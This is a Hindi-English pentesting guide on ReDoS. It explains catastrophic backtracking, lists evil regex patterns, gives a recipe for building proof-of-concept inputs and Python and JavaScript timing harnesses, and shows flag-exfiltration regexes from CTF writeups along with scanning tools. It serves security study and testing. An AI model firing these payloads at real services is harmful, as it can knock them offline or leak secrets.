Regular expression Denial of Service - ReDoS

Reading time: 7 minutes

Regular Expression Denial of Service (ReDoS)

A Regular Expression Denial of Service (ReDoS) तब होता है जब कोई regular expressions की काम करने की कमजोरियों का फायदा उठाता है। कभी-कभी, जब regular expressions का उपयोग किया जाता है, तो वे बहुत धीमे हो सकते हैं, खासकर अगर जिस टेक्स्ट पर वे काम कर रहे होते हैं वह बड़ा हो जाए। यह धीमा होना इतना बढ़ सकता है कि टेक्स्ट के आकार में छोटे वृद्धि से भी प्रदर्शन बहुत तेजी से बिगड़ जाए। Attackers इस समस्या का उपयोग करके उन प्रोग्रामों को लंबे समय के लिए असमर्थ बना सकते हैं जो regular expressions का उपयोग करते हैं।

The Problematic Regex Naïve Algorithm

Check the details in https://owasp.org/www-community/attacks/Regularexpression_Denial_of_Service-_ReDoS

Engine behavior and exploitability

• Most popular engines (PCRE, Java java.util.regex, Python re, JavaScript RegExp) use a backtracking VM. Crafted inputs that create many overlapping ways to match a subpattern force exponential or high-polynomial backtracking.
• Some engines/libraries are designed to be ReDoS-resilient by construction (no backtracking), e.g. RE2 and ports based on finite automata that provide worst‑case linear time; using them for untrusted input removes the backtracking DoS primitive. See the references at the end for details.

Evil Regexes

An evil regular expression pattern वह pattern है जो crafted input पर फंसकर DoS पैदा कर सकता है। Evil regex patterns आमतौर पर grouping के साथ repetition और repeated group के अंदर overlapping वाले alternation शामिल करते हैं। कुछ उदाहरण evil patterns के:

• (a+)+
• ([a-zA-Z]+)*
• (a|aa)+
• (a|a?)+
• (.*a){x} for x > 10

उपर्युक्त सभी vulnerable हैं इन input aaaaaaaaaaaaaaaaaaaaaaaa! के लिए।

Practical recipe to build PoCs

Most catastrophic cases इस रूप का पालन करते हैं:

• Prefix जो आपको vulnerable subpattern में ले जाए (optional)।
• एक लंबी श्रृंखला कोई ऐसे character की जो nested/overlapping quantifiers के अंदर ambiguous matches पैदा करे (उदा., कई a, _, या spaces)।
• एक अंतिम character जो overall failure को मजबूर कर दे ताकि engine सभी संभावनाओं के माध्यम से backtrack करे (आमतौर पर ऐसा character जो last token से मैच न करे, जैसे !)।

Minimal examples:

• (a+)+$ vs input "a"*N + "!"
• \w*_*\w*$ vs input "v" + "_"*N + "!"

N बढ़ाएं और super‑linear वृद्धि देखें।

Quick timing harness (Python)

import re, time
pat = re.compile(r'(\w*_)\w*$')
for n in [2**k for k in range(8, 15)]:
s = 'v' + '_'*n + '!'
t0=time.time(); pat.search(s); dt=time.time()-t0
print(n, f"{dt:.3f}s")

ReDoS Payloads

String Exfiltration via ReDoS

CTF (or bug bounty) में हो सकता है कि आप उस Regex को नियंत्रित करते हों जिससे कोई संवेदनशील जानकारी (flag) मैच होती है।

फिर, यह उपयोगी हो सकता है कि जब कोई Regex matched हो तो आप page freeze (timeout or longer processing time) करवा दें और जब न हो तो न करें। इस तरह आप स्ट्रिंग को exfiltrate कर पाएंगे char by char:

• In this post आप यह ReDoS नियम पा सकते हैं: ^(?=<flag>)((.*)*)*salt$
• Example: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
• In this writeup आप यह पा सकते हैं: <flag>(((((((.*)*)*)*)*)*)*)!
• In this writeup उन्होंने यह उपयोग किया: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS इनपुट और Regex को नियंत्रित करना

नीचे कुछ ReDoS उदाहरण दिए गए हैं जहाँ आप इनपुट और Regex दोनों को नियंत्रित करते हैं:

function check_time_regexp(regexp, text) {
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
;[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Language/engine notes for attackers

• JavaScript (browser/Node): Built‑in RegExp एक backtracking engine है और आमतौर पर तब exploitable होता है जब regex+input attacker‑influenced होते हैं।
• Python: re backtracking है। लंबे ambiguous runs और एक failing tail अक्सर catastrophic backtracking पैदा करते हैं।
• Java: java.util.regex backtracking है। यदि आप केवल input नियंत्रित करते हैं, तो जटिल validators इस्तेमाल करने वाले endpoints देखें; यदि आप patterns (उदा., stored rules) नियंत्रित करते हैं, तो ReDoS आमतौर पर trivial होता है।
• Engines such as RE2/RE2J/RE2JS or the Rust regex crate are designed to avoid catastrophic backtracking. If you hit these, focus on other bottlenecks (e.g., enormous patterns) or find components still using backtracking engines.

Tools

• https://github.com/doyensec/regexploit
• Find vulnerable regexes and auto‑generate evil inputs. Examples:
• pip install regexploit
• Analyze one pattern interactively: regexploit
• Scan Python/JS code for regexes: regexploit-py path/ and regexploit-js path/
• https://devina.io/redos-checker
• https://github.com/davisjam/vuln-regex-detector
• End‑to‑end पाइपलाइन जो प्रोजेक्ट से regexes निकालती है, vulnerable ones का पता लगाती है, और target language में PoCs validate करती है। बड़े कोडबेस में हंट करने के लिए उपयोगी।
• https://github.com/tjenkinson/redos-detector
• Simple CLI/JS library that reasons about backtracking to report if a pattern is safe.

Tip: जब आप केवल input नियंत्रित करते हैं, तो doubling lengths वाले strings (उदा., 2^k characters) जनरेट करें और latency ट्रैक करें। घातीय वृद्धि मजबूत संकेत है कि ReDoS viable है।

References

• https://owasp.org/www-community/attacks/Regularexpression_Denial_of_Service-_ReDoS
• https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets
• https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20@%20DEKRA%20CTF%202022/solver/solver.html
• https://ctftime.org/writeup/25869
• SoK (2024): Regular Expression Denial of Service (ReDoS) का Literature और Engineering Review — https://arxiv.org/abs/2406.11618
• Why RE2 (linear‑time regex engine) — https://github.com/google/re2/wiki/WhyRE2